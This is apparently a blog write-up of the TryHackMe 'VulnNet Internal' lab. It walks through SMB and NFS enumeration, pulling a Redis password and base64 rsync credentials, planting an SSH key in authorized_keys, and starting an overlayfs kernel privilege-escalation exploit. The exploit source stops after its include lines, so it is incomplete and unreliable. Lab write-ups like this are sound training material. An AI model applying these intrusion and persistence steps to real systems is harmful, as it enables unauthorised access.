TryHackMe: VulnNet Internal Writeup

Lots of tools to learn: NFS, Redis & rsync. Top it off with a sweet PrivEsc exploit.

1. Scanning & Enumeration

1.1. Port Scanning

Not shown: 993 closed ports
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5e:27:8f:48:ae:2f:f8:89:bb:89:13:e3:9a:fd:63:40 (RSA)
| 256 f4:fe:0b:e2:5c:88:b5:63:13:85:50:dd:d5:86:ab:bd (ECDSA)
|_ 256 82:ea:48:85:f0:2a:23:7e:0e:a9:d9:14:0a:60:2f:ad (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3 2049/udp nfs
| 100003 3 2049/udp6 nfs
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 35488/udp6 mountd
| 100005 1,2,3 54985/tcp mountd
| 100005 1,2,3 56181/tcp6 mountd
| 100005 1,2,3 56789/udp mountd
| 100021 1,3,4 32910/udp nlockmgr
| 100021 1,3,4 42203/tcp6 nlockmgr
| 100021 1,3,4 42497/tcp nlockmgr
| 100021 1,3,4 49999/udp6 nlockmgr
| 100227 3 2049/tcp nfs_acl
| 100227 3 2049/tcp6 nfs_acl
| 100227 3 2049/udp nfs_acl
|_ 100227 3 2049/udp6 nfs_acl
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
873/tcp open rsync (protocol version 31)
2049/tcp open nfs_acl 3 (RPC #100227)
9090/tcp filtered zeus-admin
Service Info: Host: VULNNET-INTERNAL; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Info gathered:

  • ssh open
  • rpcbind looks interesting
  • rsync working
  • SMB open

Let’s start with SMB.

1.2. SMB Enumeration

Listing all the shares.

└─$ smbclient -L -N

Using smbclient // -N we can get in, and see all of the files in the directories. We see temp and data directories in shares. One by one, I got all of the files, using the command:get file_name.extension.

Here’s all of what I got:

└─$ cat business-req.txt
We just wanted to remind you that we’re waiting for the DOCUMENT you agreed to send us so we can complete the TRANSACTION we discussed.
If you have any questions, please text or phone us.

└─$ cat data.txt
Purge regularly data that is not needed anymore

└─$ cat services.txt

None of them are interesting, and this looks like a dead end. Let’s check out port 111, rpcbind.

1.3. RPC-Bind

Googling, we get this. A DDoS attack. This is not useful for us.

Okay, how about the NFS thingy listed in the nmap scan results, inside of RPC bind?

1.4. NFS

Let’s list them out. The -e or --exports flag gives us the export list of a server.

└─$ showmount --exports
Export list for
/opt/conf *

Configuration files are usually very interesting. Let’s get these files on our system.

└─$ mount -t nfs conf
mount.nfs: failed to apply fstab options

What is happening here?

  • -t or --type helps us specify the type of mount we want to do, which is nfs. Common filesystem types are ext2, xfs, brtfs.
  • rest of the syntax is ssh-like
  • conf at the end is the name of the emptuy directory on my system

Don’t forget the sudo option if mount -t nfs gives you errors.

└─$ sudo mount -t nfs conf
[sudo] password for kali:

└─$ cd conf

└─$ ls
hp init opt profile.d redis vim wildmidi

└─$ tree .
├── hp
│ └── hplip.conf
├── init
│ ├── anacron.conf
│ ├── lightdm.conf
│ └── whoopsie.conf
├── opt
├── profile.d
│ ├──
│ ├──
│ ├──
│ └──
├── redis
│ └── redis.conf
├── vim
│ ├── vimrc
│ └── vimrc.tiny
└── wildmidi
└── wildmidi.cfg

Quick googling tells me redis is related to database. Things just got intersting!

1.5. Getting in Redis

Let’s search for passwords, using pass or password like terms.

└─$ grep -r "pass" .
./redis/redis.conf:# 2) No password is configured.
./redis/redis.conf:# If the master is password protected (using the "requirepass" configuration
./redis/redis.conf:# masterauth <master-password>
./redis/redis.conf:requirepass "B65Hx562F@ggAZ@F"
./redis/redis.conf:# resync is enough, just passing the portion of data the slave missed while
./redis/redis.conf:# 150k passwords per second against a good box. This means that you should
./redis/redis.conf:# use a very strong password otherwise it will be very easy to break.
./redis/redis.conf:# requirepass foobared

Since we have the password, one option is to use telnet. It works using the same TCP/IP protocol we are familiar with. telnet MACHINE_IP PORT_NUMBER gets you in. Use the command AUTH mmm, where mmm is the password to authorize yourself.

Alternatively, download redis-cli, which looks better and has autocomplete suggestions.

Redis Cheat Sheet here

└─$ redis-cli -h -a "B65Hx562F@ggAZ@F"
Warning: Using a password with '-a' or '-u' option on the command line interface may not be safe.> keys *
1) "tmp"
2) "authlist"
3) "int"
4) "internal flag"
5) "marketlist"> type "internal flag"
string> get "internal flag"
"THM{ff8e518addbbddb74531a724236a8221}"> type "marketlist"
list> type "authlist"

The commands are self explanatory.

Exploring Redis

What about marketlist?> lrange marketlist 0 9000
1) "Machine Learning"
2) "Penetration Testing"
3) "Programming"
4) "Data Analysis"
5) "Analytics"
6) "Marketing"
7) "Media Streaming"> type "Machine Learning"
none> type "Analytics"

Nothing. What about authlist?> lrange "authlist" 0 9000
1) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
2) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
3) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="
4) "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg=="

lrange is basically an iterator, going from value 0 to 9000. Looks like a base64 encoded string.

└─$ echo "QXV0aG9yaXphdGlvbiBmb3IgcnN5bmM6Ly9yc3luYy1jb25uZWN0QDEyNy4wLjAuMSB3aXRoIHBhc3N3b3JkIEhjZzNIUDY3QFRXQEJjNzJ2Cg==" | base64 -d
Authorization for rsync://rsync-connect@ with password Hcg3HP67@TW@Bc72v

Great! We have the exact syntax listed, which we can modify for our use. becomes MACHINE_IP.

Using rsync rsync://rsync-connect@MACHINE_IP we see an interesting directory. Continuing, we get rsync rsync://rsync-connect@MACHINE_IP:/file/sys-internal/. Listing this looks like sys-internal’s file system. Using a bit of directory enumeration, we can get the user flag and the id_rsa!

2. Foothold

2.1 Sneaking in SSH

I checked the .ssh directory, which seems to be empty. Putting in a file called authorized_keys file contating our will allow us to connect using SSH without as password ;)

└─$ rsync -ahv ./ rsync://rsync-connect@
sending incremental file list

Let’s login!

└─$ ssh sys-internal@
The authenticity of host ' (' can't be established.
ECDSA key fingerprint is SHA256:0ysriVjo72WRJI6UecJ9s8z6QHPNngSiMUKWFTO6Vr4.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-135-generic x86_64)

*in hacker voice* We are in!

3. PrivEsc

Let’s check the common priv-esc vectors.

SUID? sudo? crontab? nope. Kernel exploit?

sys-internal@vulnnet-internal:~$ uname -a
Linux vulnnet-internal 4.15.0-135-generic #139-Ubuntu SMP Mon Jan 18 17:38:24 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

Yes! We can use the overlayfs local priv esc exploit.

Use the following -

cat << EOF > filename.extension
{blah blah}

syntax to echo multiple lines in a file.

sys-internal@vulnnet-internal:~$ cat <<EOF>xpl.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <err.h>
#include <errno.h>
#include <sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mount.h>

And we are done!

Originally published at on June 17, 2021.

Breaking in Pen-Testing

Breaking in Pen-Testing